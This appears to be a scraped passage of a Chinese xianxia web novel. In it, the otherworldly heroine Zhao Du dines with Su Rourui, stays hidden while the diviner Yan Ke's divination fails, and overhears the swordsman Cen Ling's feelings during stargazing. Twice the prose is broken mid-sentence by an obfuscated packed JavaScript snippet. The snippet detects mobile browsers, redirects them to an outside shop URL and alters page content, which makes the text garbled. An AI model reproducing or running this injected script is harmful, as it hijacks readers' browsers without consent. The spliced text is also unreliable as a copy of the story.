朝渡欣慰点头,走出偏殿,再次回到了逢春轩,门口竟空无一人。 朝渡召出花,直接走了进去,一个路过的侍女看到她,睁大了眼:“你居然又回来了?” 朝渡轻笑:“瞧这话说的,妹妹既然有心约我,我岂有不赴约的道理?” 那侍女露出见了鬼一样的表情,随后赶紧跑向主屋通报:“主上,她居然回来了!” 苏柔蕊匆匆走出屋,看到微笑的朝渡和她手中火焰般的花时,一时竟呆在了原地。 来人手中的花,竟是连她都没见过的品种!而且这花,是有刺的! 这才是她要等的人! “快、快请坐!不,先进屋……”长袖善舞的苏柔蕊这么多年来头一次语无伦次,周围的侍女纷纷讶然看她。 朝渡颔首,进了屋,屋内已经布了满满一桌的菜品和点心,盘盘样样都是色香味俱全,全是钓馋虫的好饵料。 而且这些菜品灵气充沛,显然不是寻常的菜,应是吃了便能补充灵力提升修为的珍贵菜肴,只有修炼厨道的修仙者,使用各种饱含灵气的特殊食材才能做得出来。 苏柔蕊这次真用心了。 苏柔蕊的侍女领朝渡落座,还要布菜,朝渡摆了摆手:“不必了,你我姐妹说话,怎么自在怎么来便好。” 几个侍女面面相觑,都有种大白天见鬼了的感觉。 苏柔蕊会意,让她们先出去,关好门,还启动了屋内隔音防窥的阵法。 随后,苏柔蕊转过身便激动询问:“那些是真的吗?”她甚至等不及回到原位坐下再问。 朝渡微笑点头,随后一抬手,手中的浴火花自动飞入屋内尚且空置的白玉花瓶中,快速生出新的花枝与花苞,眨眼间开了满瓶。 一簇红焰点缀白玉,暗香浮动中,也让还未来得及仔细布置的房间多了抹亮色。 苏柔蕊惊喜地看了眼花瓶,愈发迫切地问:“我要如何相信你?”其实她心中已经信了八九分。 朝渡但笑不语,还举筷夹了一个金丝虾球品尝,嗯,味道确实不错,或许另一个自己做的金丝蜜虾会更好吃,难怪忆昔念念不忘。 苏柔蕊:“你……你这样让我很难相信。”信任度掉到七分了。 朝渡放下筷子,望向她,从容道:“我并非有意隐瞒,只是现在说了你也未必信,还可能会给我带来一些麻烦。再等等,时机还没到,先坐吧,这菜不错,别辜负。” “时机不到……麻烦?”苏柔蕊念着,回到了主座上坐下,随后忍不住又问,“那你跟朝渡是什么关系?” “我就是朝渡呀。”朝渡笑眯眯地夹了块琥珀茄酥,“如假包换。” “不可能!你们绝对不是一个人!刚才第一次来的才是朝渡!”苏柔蕊很肯定,“你们就算外表完全一样,但你们的眼睛不一样,她那个傻……得可爱的眼神,跟你完全不同。对了!上次我去搜琴瑟宫,是你在帮她吧?要不然以她的本事,哪里看得出来?” 朝渡做了一个噤声的动作:“等时机到了,你自然明白,尝尝这块海棠酥,我记得你很喜欢珠光海棠。” 苏柔蕊愣住:“你之前认识 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朝渡又夹了一块“开云凤翅”,坦然真诚道:“不必挂怀,我的本意也不是让你苦恼,你和……‘我’都不容易。我也在想,对于如今的你而言,怎样才算帮你,你看,昨夜我本来只想去送个剑,顺带跟你聊一聊,却引得你的花被毁,抱歉。” “你不必抱歉,那些花不是你毁的。”苏柔蕊叹气,“我精心养了那些花这么多年,他明明知道,却毫不留情。” 朝渡也一声叹息:“他不是爱花之人。” 两人目光相交,朝渡轻笑:“你当然也是花,还是世间不可多得的仙花。” 苏柔蕊掩口轻笑:“你比朝渡有趣得多。” 朝渡无奈重申:“我就是朝渡,可以的话,少找我点麻烦。” 苏柔蕊轻挑眉梢:“这就是你帮我的目的?” “只是顺带的。”朝渡抬起手,细长的银茶壶自动飞起,给她和苏柔蕊各倒了一杯灵茶,“刚才说了,我和你是朋友,我当然不希望我们互相找麻烦。” “朋友。”苏柔蕊重复了一遍这个词,不再轻蔑,但看她眼神,仍是不信。 朝渡并不急,又尝了一口“春雪”,槐花的清香如风从舌入胃,朝渡满足点头:“谢谢你今日的款待,菜和点心的味道都很不错。那我先回去了,忆昔还在等我。” 听到最后一句,苏柔蕊的眼神满是不信。 朝渡也不是很在乎,只是随便演演。临离开,她想了想,又提醒了一句:“这件事最好别太早告诉傅不辞。” “哦?你怕他?”苏柔蕊起了兴致,“对了,我可以告诉你一个秘密,不过你也要回答一个秘密。” 朝渡笑吟吟地拒绝了:“我猜你想说的秘密是观星宗掌门言可要来算我的命吧?放心,我会盯着他的,他要是算得不准,我第一个砸了他的招牌。至于我怕傅不辞?呵,该是他怕我,昨晚还不够证明吗?” 苏柔蕊微怔,竟无法反驳,随即她忽然意识到了一件事,一件其实很明显,但昨晚她在疲惫与震撼中压根没顾得上思考的事:“你比傅不辞还强?!” “反正他不是天下第一。”朝渡笑了笑,对她挥了挥手,起身告辞,“有缘再会,我的好友。” 苏柔蕊在极度震惊中,本能地也站起身送她离开,等回到屋中,看着满桌灵菜,她才缓过神来。 此人,比傅不辞更强。 可这样的人为什么盯上了自己,还说要帮“她”?当真如此人所说,因为朋友吗? 苏柔蕊想怀疑的,而且已经怀疑了,可此人的目光与言词实在坦荡真诚,对她竟似不设防——此人将满桌的菜尝了个大半,仿佛完全不觉得她会下毒。 如此种种,让她的怀疑像早晨的霜,不一会便维持不住消散尽了。 此人,要么是她见过的最为坦荡热心之人,要么是她见过的演技最好的人。 说起来,此人没尝的两盘菜是灵鲤汤和糖醋鱼,看来她不怎么爱吃鱼,这点倒是跟朝渡一致。 她跟朝渡到底是什么关系? …… 朝渡回到了琴瑟宫的偏殿,另一个朝渡还在练剑,看来中间没出什么差池。 朝渡一现身,另一个朝渡就迫不及待地问:“怎么样怎么样!这次她变成苏刺了吗?” 朝渡失笑:“哪这么快。不过种子已经种下,姑且也算发芽了,希望能早日开花吧。嗯?” “怎么了?”另一个朝渡问。 朝渡微微扬起嘴角:“言可到了,有意思的要来了。” 19. 言可 青云仙宫的正门口,傅不辞打破常规,亲自带人去接言可。 哪怕已经安排了剑法高超的岑岭一路护送,但离青云仙宫越近,傅不辞越不放心。 那个刺客很可能还在青云仙宫,他很可能为了避免自己暴露去刺杀言可,还很可能为了给他下马威,在青云仙宫门口进行刺杀! 他绝不能允许此时至关重要的言可在青云仙宫出事!这是对他地位与尊严的极大挑衅! 第三个朝渡手持曜灵剑,站在青云仙宫正门顶上,看一群人早早做好警戒,带着各种防御与探查的仙器,布了数重阵法,还来了仙盟副盟主游藏巡查,最后连傅不辞本人都来了,要亲自护言可入仙宫。 言可终于乘着仙鹤云车到了。 两只巨大仙鹤所拉的云车稳稳停在青云仙宫正门口,两位观星宗弟子从左右卷起星纹车帘,随后从中走出了一名仙风道骨的人,正是言可。 言可一下车,一群人将他完全包围在中间,恨不得一步一戒备,慢如龟爬。 朝渡懒懒地打了个哈欠: 好慢,怎么还不开始算命。 好蠢,以为她会在这里刺杀。 不过言可长得还蛮俊的,面如冠玉,看起来只有二十岁左右——虽然实际上应该已经三百岁左右了。 他灰发白衣,衣纹金色星斗,衣袖随风扬起,站在那里像一只超脱凡尘,振翅欲飞的白鹤。 而且言可疑似比傅不辞聪明点。 因为言可被护送了几步,就略带无奈地提醒道:“盟主不必担心,来的路上我给自己简单算了一卦,我此行没有血光之灾,那个危害修仙界之人应该不打算对我动手。” 傅不辞沉默了,周围的侍卫面面相觑,都有点尴尬。 傅不辞忽然一声冷笑:“言掌门的卦自然是准的,也就是说,那个人觉得就算让言掌门算出他的姓名身世下落也无所谓?” 没人敢接他的话。 朝渡赞许点头:哟,他终于也聪明点了。 “还愣着干什么?都散开!给言掌门让路!”傅不辞没好气地道,一群人迅速散开。 言可明显松了口气,看来这位掌门并不习惯这种被人包围的感觉,也不大擅长人情世故的样子。 傅不辞带着言可来到了青云仙宫正殿,更多的护卫和阵法等在这里,还有许多仙盟精英也都布在周围的明处和暗处,他们既盯着可能突然出现的刺客,也互相盯着彼此的一举一动,防止有人被替换,也防止某人就是刺客。 朝渡赞叹:是张好网,甚至称得上密不透风了。 可如果,她能与“网”共鸣呢? 由无数修仙界的精英,无数法宝与无数阵法组成的“网”,要与这样的“网”共鸣,说难也难,说简单也简单。 只需成为“网”的一部分,成为他们目光的一部分,成为阵法与法宝的一部分。 朝渡闭上眼,定心凝神,再睁开眼时,她的眼中既有万物,又空无一物。 万物是她,她是万物。 她开始迈步,如平常般从容地走向青云仙宫正殿,气息却瞬息万变,时时刻刻与周围的一切保持共鸣,在无数道明里暗里的视线中与重重护卫擦肩而过,走过道道精密的阵法,穿过由各个法宝叠加起来的严密防御。 此时,她就像川流不息的水,可以在流经山谷时任意变幻形状,既能染上各种色彩,又能随时清除各种颜色。 在这种极致的共鸣中,她与周围的目光、阵法与法宝,乃至天地万物都已融为一体。 但此时于她而言并不安全,反而相当危险,甚至险过暴露自己——因为这种彻底的共鸣极易使施术者迷失自我,甚至彻底消散,真的永远成为天地万物的一部分。 她必须要在极致的专注中,时刻牢记:我是我。 我是,朝渡。 一步,再一步…… 穿过青云仙宫正殿厚重的大门了。 白发玉面的掌门已准备起卦了。 朝渡眨了眨眼,微微扬起唇角:挑战成功! 痛快,许久没有这么痛快了! 傅不辞还是有点用处的嘛,能搞出这么有趣的试炼让她活动活动筋骨。 不过这殿内的防御反倒是没有殿外严密,或许是怕泄露言掌门的卜卦结果,又或许是傅不辞认为,殿内的这些仙盟长老精英足够应付她, 总之,她可以稍微放松点了。张弛有度才能长久嘛! 她悠闲地打量殿里,正见傅不辞面容严肃,紧盯着言可的一举一动。 朝渡走到他旁边,很想忽然出声吓他一跳。 不,都不用出声,只需泄露一丝气息,他就会像昨晚一样大叫起来,吓旁边所有人一跳。 她吓仙盟盟主,仙盟盟主吓仙盟长老精英,那可太有乐子看了。 朝渡强忍住恶作剧的冲动,毕竟这样会耽误言掌门算卦的。 她十分期待,此方的星空能否预见她这彼方来客。 不过,说起来现在是白天哎?而且这是在殿内,哪有星空? 朝渡挑眉,发现言掌门也没打算观星的样子,倒是在用龟壳起卦。 估计是傅不辞迫不及待了,先让他能算多少算多少,等到晚上再用出他看家的观星绝学。 要不要让今晚下点小雨呢,这样有人肯定会气急败坏的……朝渡懒懒地想着,又觉得没必要,耽误她知道她想知道的结果。 朝渡打量着在别致白色火焰中逐渐裂开纹路的龟甲,愈发有了兴趣:这种占卜,应该是在求问天意吧? 此方的天会怎么回答言掌门的提问?会如实告知吗? 这其实也反应了此方的“天”对她的态度。 朝渡考虑到自己刚过来时那来势汹汹的天雷,她并不乐观,觉得此方的天应该会偏心“本地人”,顺带敲打敲打她。 嘛,无所谓,敲打就敲打,反正这些人抓不住她,奈何她不了。 白色火焰中,龟甲上的裂纹仍在蔓延,丝毫没有停止的迹象。 言可的表情越来越凝重。 傅不辞的眉头越皱越紧。 当纹路蔓延整个龟甲,龟甲轰然裂成块块碎片时,殿内有人惊呼有人屏住了呼吸,但无论是谁,都难以置信地望着龟甲。 连朝渡也讶然:这算哪门子结果? 言掌门俯下身,不顾尚且滚烫的温度,捧起一块块龟甲碎片,手都在发抖。 又过了几息,傅不辞深深吸了口气,沉声问:“言掌门,这是什么情况?” 言可嗓音颤抖地答道:“天,不欲言。” 一时间,包括傅不辞在内的,殿内所有人的脸色都变了又变,十分精彩。 天不欲言意味着什么? 已无需言可再解释。 此时汇聚在殿内的,这些活了成百上千年的,在仙盟里位高权重的人心中都清楚: 这意味着天在包庇这个对修仙界有威胁的人!甚至意味着天默许此人所做的一切! 更可怕的,这或许意味着,此人所行,皆是天意! 天,竟不欲言这个对修仙界有巨大威胁的人! 殿内漩涡般的死寂中,朝渡挑了挑眉:连她自己也没想到,这方世界的天,居然在包庇她?! 莫非是她来到之后这一天内的所作所为,让此方天意觉得可以信任? 那很有眼光嘛! 朝渡满意地笑了一声。 没有隐藏。 下一瞬,殿内所有人都猛地看向她的方位,那个看起来仿佛空空荡荡的位置,随即许多人意识到什么,惊呼起来: “他在这!” “他就在殿里!” “他怎么进来的?!” “快抓住他!” “来人来人!” “现身啊!你有本事来,有本事现身啊!” 也有几人,比如岑岭等,直接出剑出招,一时间把那方位的翡翠地板砸出了个大坑。 朝渡换了位置,坐在房梁上,悠闲惬意地俯视这些仙盟的长老精英们乱成一锅粥。 不好意思,看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604430|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们这么严肃,实在没忍住想逗逗他们,她可真是太善良了。 就在此时,言可临危不乱,在混乱的人群中飞快地用铜钱又起一卦,随即却愈发绝望:“算不出来,算不出来他的位置!天不欲言他的姓名身世,连他的位置也藏了起来!” 朝渡心道这可能与天无关,毕竟她现在可没解除共鸣状态,与天地万物时刻融为一体,他哪里算的出来? 殿内陷入了一种可怕的死寂。 傅不辞黑着脸环视一周,高声道:“你们怕什么!言可说的就一定是真的了?!而且浮云可遮天,也许是那刺客用了什么手段干扰了占卜,混淆或者屏蔽了天意!” 游藏紧跟着开口:“盟主所言极是!这人既然在殿内,就很有可能用了什么法子,让这龟甲彻底碎裂!让铜钱失效!这代表不了什么!不要自乱阵脚!” 仙盟的长老精英们逐渐镇定下来,纷纷认同。 连朝渡都点了点头:说的挺有道理哎! 如果不是她知道自己压根没干扰的话。 “等天黑了,让言掌门使用观星宗的绝技。”傅不辞冷静开口,“这人再大的本事,还能遮住整片天吗?!” 朝渡遗憾摇头:如果没被此方天道压制力量的话,或许真的可以哦? 傅不辞又命令道:“今天在这的所有人,都不许将占卜结果吐露半个字!不然……呵。” 一群人纷纷应是。 随后,傅不辞挥了挥手:“除了副盟主,言掌门和六仙侍之人,其他人都离开。” 片刻后,殿内只剩下傅不辞,游藏,言可,岑岭,宁长康,朝渡六个人。 朝渡认为自己虽然不是副盟主,也不是言掌门,更不属于六仙侍,但她压根不归他管,于是就理直气壮地留下来听他接下来的大计了。 傅不辞问:“你们有什么看法?” 岑岭沉默地戒备着周围。 宁长康咳嗽着,笑而不语。 游藏看了看左右,欲言又止。 傅不辞不耐烦道:“有话就说!” 游藏看了看不打算开口的同僚们,无奈道:“不知道他走了没有。” 朝渡:嘿嘿,没有哦! 傅不辞顿时黑了脸,因为连他也不确定。 言可听了游藏的话,立刻环顾四周,最后绝望摇头:“我没什么好说的,我活了将近三百年,第一次遇见这种情况,连今晚的占星我也没有信心了,也许他真的连天也能遮蔽,又或许天不欲言他,那我们求卦岂不是在跟天作对?!” 傅不辞闭了闭眼,强忍道:“我喊你过来,不是让你说这些丧气话的,有时候占卜结果并不重要,让其他人相信那是天意就可以了。” 游藏似有所悟:“盟主的意思是……” 宁长康笑眯眯道:“我和盟主已经商量好了,咳咳咳,无论那个人是谁,他就叫荧惑,咳咳,他是一名对修仙界意图不轨的魔修,擅长扰乱占卜混淆天意。” 言可和游藏愣住,岑岭仿佛没有听到一般,目光冷漠地观察四周。 傅不辞冷声道:“今晚的占星,言掌门就不必来了,昨夜你赶路辛苦了,今晚就好好休息吧,我会找人替你完成占星。当然,如果你真的占出了什么,也可以来告诉我,我重重有赏。” 言可猛地反应过来:“你这是要用我的名号欺骗其他人?!” 傅不辞一脸的不耐烦:“实在迂腐!” 宁长康笑道:“这不是欺骗,这是,咳咳咳——为了仙盟,为了修仙界的未来!咳咳咳咳……” 游藏轻叹:“我明白了,现在那人身份不明目的不明,此时修仙界的人心绝不能散。” 言可静默良久,默默行礼,退出了宫殿。 随后游藏等六仙侍和傅不辞也相继离开。 朝渡是最后一个走的,离开时她还回头看了一眼:“应该不用我锁门吧?” 算了,不吓他们了。 朝渡悠哉悠哉地回到琴瑟宫,找到本体,笑吟吟道:“今天可看了好一场大戏!” 20. 观星 朝渡:“刚才可有趣了,言可来了,在正殿占卜我的身份。” 另一个朝渡立马紧张问:“他成功了吗?!” 朝渡把刚才发生的事简要告诉了她。 “……天不欲言……荧惑……”另一个朝渡喃喃道,“这一听就是宁长康那个缺德货出的损招,他迟早把自己那点阳寿损完,但是这样真的行吗?而且这计划已经让你知道了……你打算怎么办?” 朝渡执剑站起身,思索着走了几步:傅不辞铁了心要给她泼脏水,按理说她应该反击,但其中牵扯到一个问题。 正如游藏所说,修仙界的人心不能散。若是修仙界一下子乱起来,魔尊鬼王怕是会趁虚而入,那个妖王也不是省油的灯,他与修仙界维持着表面的和睦,实际上对修仙界一直虎视眈眈。 她是异界来客,一举一动更要慎重,不可因自己的原因将整个修仙界推入水火之中。 这次,或许先放过傅不辞一次?就让他跟他捏造出来的魔修荧惑玩去吧。 也许“天不欲言”,也有天不想激化她跟他矛盾的原因……不过天,作为掌管一方世界“道”的存在,会考虑这么细吗?连朝渡也不太确定。 “你这次能不能放过他?”另一个朝渡忽然开口,她绞着手指有点窘迫地道,“他实际上不如你,你别跟他一般见识……” 朝渡失笑:“让我别跟他一般见识,他要是听到了怕是要气得跳脚。” 另一个朝渡也笑了起来:“这不是不让他知道嘛!他有时候看起来大方爽快,其实是个敏感高傲的人。他从小优秀,很怕失败,很怕会输给别人。自从当上盟主之后,他愈发害怕失败,你的出现吓到他了,所有他才急着想解决你……我知道错不在你,不过他也不是故意的,他连你是谁都不知道,他只是太害怕了,再给他一次机会吧?” 另一个朝渡充满期盼地望着朝渡。 朝渡颔首:“你的想法我明白了,我会好好考虑的。” 朝渡又思索片刻,敲定了主意:“这次我就不跟他计较了。” 另一个朝渡面露感激。 不过在朝渡看来,倒不全是为了另一个自己,更不是为了照顾一下那个胆小的盟主,最主要的是为了此方世界里修仙界的稳定。 这次姑且就让他一棋子,她且先静观其变。 总之这样一来,她今天就没什么好忙的了,也许今晚可以去看看言可观星,看看此方的天幕上是否会有昭示她命运的星星。 剩下的白天时间里,朝渡打坐恢复修为,另一个朝渡继续练剑。 快到傍晚时。两人还切磋了一次,朝渡指点另一个朝渡几个招式和对战的经验。 两人交流完,朝渡问另一个自己:“一会你想去看言可观星吗?今天练一天了,可以休息休息。” “我吗?”另一个朝渡指了指自己,“我能去?” 朝渡:“嗯?怎么不能?” 另一个朝渡无奈轻叹:“不辞没有叫我,我拿什么身份去看?” 另一个朝渡忽然有点难过,若是当年,这种大事怎么少的了她这个盟主夫人出席呢? 可如今,青云仙宫的桩桩大事,哪件会通知她去参与?琴瑟宫已是无人问津之地。 “啪。”朝渡忽然在她眼前打了个响指,一下子把她捞出悲伤的水池。 “管他和他那个假言可呢!”朝渡笑吟吟道,“今晚咱们去看真言可观星!言可在观星这块可是宗师级别的,机不可失哦!” 另一个朝渡也有了兴趣:“那我去?不知道有没有机会找他算算……咳。” “去嘛!想算跟傅不辞的缘分是吧?有机会的话就去吧。”朝渡太懂她了,另一个朝渡羞涩地笑了笑:“那我去安排一下忆昔!马上回来!” 待得到了夜幕降临,蛾眉月初现窈窕身影,繁星即将结伴出游,朝渡伸了个懒腰站起身,等另一个自己熟练安置好忆昔,然后两人出发,一起前往言可休息的“见月院”。 路上,两人隐匿踪迹,一边飞过重重屋檐,穿过团团院落,一边聊天。 另一个朝渡忧心道:“听说言掌门观星可准了!他不会观星能观到你的命运吧?” 朝渡笑道:“不一定,他要是真观测到了就把他打晕,不让他告诉傅不辞。” 另一个朝渡愕然:“啊?!这么、这么简单直接的吗?” 朝渡一本正经地点头:“最简单的方法,最好的效果,干嘛不用。” 另一个朝渡领会到了她在开玩笑,跟着玩笑道:“那我祝言掌门学艺不精,不要脑袋开花。” 说笑着,两人来到了见月院,飞到了院墙上:见月院中,二层小楼与假山古树环抱相连,顶部共同组成了一个宽敞的平台,极宜赏月观星,这也是“见月院”名称的由来。 但此刻院内与观景平台上却空无一人。 “嗯?他是还在屋里吗?今晚不打算观星吗?”另一个朝渡不解地看了看天空,“星星都出来了,他也该出来了吧?” 朝渡开启灵视,环视见月院,视线落到了高处平台上:那里中心位置有一重隐匿阵法,阵法中是一白一黑两个身影。 灰发白衣,袖落星辰的青年端坐于坐垫上,聚精会神地望着星空,正是言可。 还有一个青年抱剑而立,长发高高束起,发梢随风轻摇,他的黑衣上绣有独特的青色群山纹路,这是千山派的门派标识。 他也望着星空,但不像观星,倒像是在发呆。这个人,朝渡还挺熟悉,也是她的好友之一,名为岑峻,看来在这个世界里他跟随了傅不辞。 朝渡伸出手,指尖点了一下另一个自己的眼睛,用灵力帮她开启更高级别的灵视,随后又指向高处平台:“看那里。言可已经开始观星了,不过周围设了隐匿阵法,其他人看不到,毕竟今晚的言可不该在这里观星。” 另一个朝渡:“哦!看到了!不过就两个人吗?” 朝渡猜测:“其他观星宗弟子应该被叫过去跟随假言可,给他撑排场去了吧,走,我们也去平台上看,那里宽敞。” “哎,要离这么近吗?!”另一个朝渡略有担心,“会被发现吗?岑岭还是很厉害的。” 朝渡笑道:“今天我连正殿都闯了,放心,他发现不了的,他虽然用剑厉害,但我的隐匿之术不是靠剑法就能破解的。” 两人飞到了平台一角,安稳坐下,看平台中间的言可观星,还有岑峻发呆。 言可专心致志地看着星空,一言不发,一动不动,仿佛已经化成石雕。 他旁边的岑岭号称“岭峻剑”,别称“冷俊剑”,更是个不爱说话的冰块,此时望着星空,也不知道在想什么,或许他什么都没想,只是单纯在发呆。 朝渡和另一个朝渡也跟着看了会星星,都没看懂,对视了一眼,一齐笑出了声。 另一个朝渡发表观星感言:“星星挺好看的,就是不知道代表什么意思。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我做得不对吗?”另一个朝渡小心翼翼地问,“不辞吃醋,我就避嫌跟他保持距离,他虽然报恩报错了人……但他本来要报恩的是我,我愿意让他去帮不辞,结果不是一样吗?” 朝渡气笑了。 她看着无措茫然的另一个自己,心绪复杂万分。 愤怒,另一个自己怎么如此糊涂! 惋惜,心思单纯的阿岭只是想报恩,却被骗这么多年!还变得这么呆!修为也没有她那边世界里的高! 还有傅不辞也不是个好东西,明知不是自己救的,却骗阿岭报恩这么多年,他还有没有一点良心?! 而且傅不辞究竟是真的吃醋,还是怕另一个朝渡跟阿岭接触多了泄露当年真相?无论如何,他冒名顶替这么多年,心安理得地使唤着阿岭让他报恩,他就不是个东西! 朝渡实在没忍住,握着一旁的翡翠栏杆,无声无息地将这一截翡翠栏杆化成了齑粉。 她深深吸了口气,冷声道:“你去道歉,找机会,好好道歉!告诉他真相!” 另一个朝渡还想辩解,但一看朝渡森冷的眼神,只敢小声问:“我真的做错了吗?” “你说呢?!”朝渡冷笑,“你怕傅不辞吃醋,就跟傅不辞一起把阿岭蒙在鼓里耍得团团转!” “也不是在耍他……”另一个朝渡小声道,“之前有一次,他豁出命救了不辞,不辞也说救命之恩算还清了,他可以离开,是他自己没有走的。” 朝渡:“但你们不该骗……”她话说到一半,忽然听到言可开心兴奋道:“我看到了!在那里!” 21. 岑岭 朝渡:“?!” 她蓦地看向那白鹤般的掌门,但见他满面欣喜,目光纯粹明亮,伸手指向夜幕上的一片繁星,开心道:“你看那里!你看那几颗星,轨迹与原来相比都有较大的偏离!” 岑岭淡淡看了一眼:“不懂。” 但岑岭的回答并没有打击到这位掌门,他望着繁星点了点头,自己肯定自己:“虽然我没有找到那个人的命星,它就像是被藏起来了一样,但是那几颗星明显是被它影响了!按照它们的位置推算,那几颗星应该代表盟主和盟主身边的人,那个人果然就在盟主附近!” 岑岭一言不发,看起来又开始发呆了。 朝渡发现,岑岭似乎毫不在乎傅不辞的安危。还有这言掌门,果然是有点东西的,竟能通过被影响改变的星来推测代表她的星。 不过还有一点没搞明白,代表她的星到底是不存在,还是存在却被隐藏了? “其中有一颗星命运轨迹被改变最多,或许这也意味着这颗星代表的人是与那个人关系最近的。”言可望着那处繁星,继续分析,“这颗星代表的人应该是……盟主夫人。” “谁?!”岑岭蓦地转头看向言可。 另一个朝渡也吃了一惊,猛地看向朝渡:“怎么办,被发现了!” 这个结果倒是在朝渡的意料之中,她并不惊讶。 朝渡气定神闲道:“不急,大不了一会按照原计划把他打晕。” 另一个朝渡看着朝渡还敢开玩笑的从容模样,忽然也觉得没什么大不了的,反正有她在,这就能让人十足安心了。 两人前方,言可又一番推算,肯定道:“是盟主夫人,那个人对盟主夫人影响不小,最近盟主夫人有什么异常吗?” 岑岭沉默片刻,斩钉截铁地道:“没有!” “哦?”言可上下打量了黑衣剑客两遍,又盯着他的眼睛,笑问,“你好像有点紧张?” “没有。”岑岭冷声道,却又补充道,“你既没有确切证据,不要胡说。” 言可微微挑眉,从袖中取出三枚铜钱,一番占卜后,惊讶问:“你居然心悦盟主夫人?” 朝渡:“……?” 另一个朝渡:“???” 两个朝渡对视了一眼,脸上都是震惊不解。 朝渡问另一个朝渡:“什么情况?” 另一个朝渡也茫然:“我不知道啊?假的吧?我跟他都没说过几句话!” 连岑岭本人也茫然:“心悦?是什么意思?” “你连心悦的意思都不知道?心悦就是喜欢呀!”言掌门以袖掩口笑得意味深长,眼神灵动,“堂堂冷俊剑,居然暗恋盟主夫人,哇哦。”这会他倒是不像鹤了,更像只狡黠的狐狸。 “喜欢……暗恋?”岑岭愣了愣,转开视线望向远处重重翡翠宫殿楼阁,低声道,“没有,我讨厌她。” 朝渡心道不对劲,他都没纠正自己是岭峻剑不是冷俊剑!他的心乱了! 而且言掌门算卦向来精准。但卦象显示他暗恋另一个朝渡,他说自己讨厌她时的语气模样也不像装的,这到底是什么情况? “讨厌她?这跟我算到的卦可不一样。”言可思索片刻问,“那你说,你为什么讨厌她?” “当年她救了我,可她不肯承认。”岑岭低声道。银色星辉落满他的发丝肩头,却落不进他的眼睛里。“她每日跟那么多人说话,却独独见我就走。” 另一个朝渡蓦地愣住:“他知道了,他早就知道?!” 朝渡轻叹:“他虽然心思单纯,一心练剑,但他不是傻子。” 言可颔首:“我能理解你为什么讨厌她,那你刚才又为何那么护着她,生怕‘荧惑’跟她扯上关系。” “……”岑岭沉默片刻,低声道,“她这些年,很不容易。” 另一个朝渡蓦地愣住。 言可诧然问:“她是盟主夫人,能有什么不容易的?哎,你一直站着不累吗,坐下来聊?” 岑岭看了看他,眉头微蹙,嘴里说着“不累”,却还是坐了下来,将剑横放于膝,抬头望着星空,怅然中还有几分茫然:“傅不辞成为盟主后,喜欢上很多人,其中好几个人都想杀她。傅不辞早就想换人当盟主夫人了,竟然一点不管。她如今整日呆在琴瑟宫中,但她以前很爱四处旅行。她不爱笑了。” 朝渡轻叹:“连他都看出来了,而且他难得说这么多话。” 另一个朝渡则是低着头深深沉默。 言可:“这……说起来,我来到青云仙宫后竟然没有见过她,按理说这不应该,看来她的处境确实不好。” 言可蹙紧眉头:“如果我说她或许跟‘荧惑’有关系,对她而言恐怕有杀身之祸,哪怕她其实可能是无辜的。还是再慎重些吧,等有确切证据了再说。” 岑岭松了口气:“多谢!” 言可摆了摆手:“这不算什么,我不希望有无辜之人因为我的卜卦或观星结果而被牵连,盟主夫人也是个可怜人,听说她跟盟主当年也是神仙眷侣,唉。” 朝渡没想到,这事居然是这么圆过去的。原本她还准备了后手——当然不是直接把他打晕。 考虑到已经至少有另一个朝渡、苏柔蕊、言可、岑岭四个人知道,她与“朝渡”有着紧密联系,却没有一个人想告诉傅不辞,傅不辞呀傅不辞,你要不要反思一下自己? “不过。”言可望向岑岭,笑问,“你这还不算喜欢吗?” 他清了清嗓子,模仿岑岭刚才低沉的音调:“她不爱笑了。” 岑岭:“……只是发现这个就算喜欢?” “那倒不是。”言可眨了眨眼,“不过我不知道谁真的讨厌一个人时,会为她不爱笑了而难过。” 岑岭不说话了,手握着剑,望向远处隐约可见的琴瑟宫。 言可见状一声轻叹,转移话题道:“我很想见见那个‘荧惑’,真想知道,能让天包庇偏爱的,究竟是怎样的人?” 朝渡也琢磨起要不要跟言掌门见一面,但好像没什么必要,他保持现状就很好,再聊反而容易节外生枝。 “我想带她离开这里。”岑岭忽然道,他目光认真,紧紧地握住了剑。 朝渡惊讶,他居然也有这个想法。 另一个朝渡愣愣地抬头看向岑岭。 言可更是吃了一惊:“你疯了吗?!就算盟主不爱她了,她也是盟主夫人,你想带她私奔?!” “私奔?是什么意思?”岑岭不解问。 言可艰难比划:“私奔就是,就是,就是你带着她偷偷跑了,然后跟她结为夫妻,隐姓埋名地生活。” “我不打算跟她结为夫妻。”岑岭摇头,“我把她带出这里后就走,然后找个清净无人的地方练剑。” “啊?那你图什么?”言可不解问。 “她留在这里,会死。”岑岭望向夜幕下黯淡无光的琴瑟宫,“要么被别人害死,要么死于她自己。她的眼睛,已经很暗了。她当年救我一命,我也想救她一次,这样才算真正了结了吧?” 另一个朝渡怔怔地落下泪来。 “这可不容易,而且你居然把这想法告诉我?”言可叹道,“你就不怕我泄露出去。” 岑岭抚着岭峻剑,冷冷道:“灭口就好了。” “?!”言可笑得勉强,“你在开玩笑吧?一定是玩笑吧?!” 岑岭淡淡点头:“是玩笑。你跟傅不辞他们不一样,你愿意帮她,只要你不说,不杀你。” “那就好……你的玩笑有点吓人……”言可长呼一口气,“不过你要怎么把她带出去?她会愿意跟你走吗?” 岑岭无声摇头,目光垂下,茫然黯淡。 朝渡看着身侧泣不成声的另一个自己,轻叹:“你想跟他聊一聊吗?” 另一个朝渡捂着脸抽泣,拼命摇头:“我对不起他,我不配见他。” 朝渡屈起指节轻叩膝头,思索起来:自己要不要跟岑岭聊聊,毕竟在另一边他也是她多年的好友。 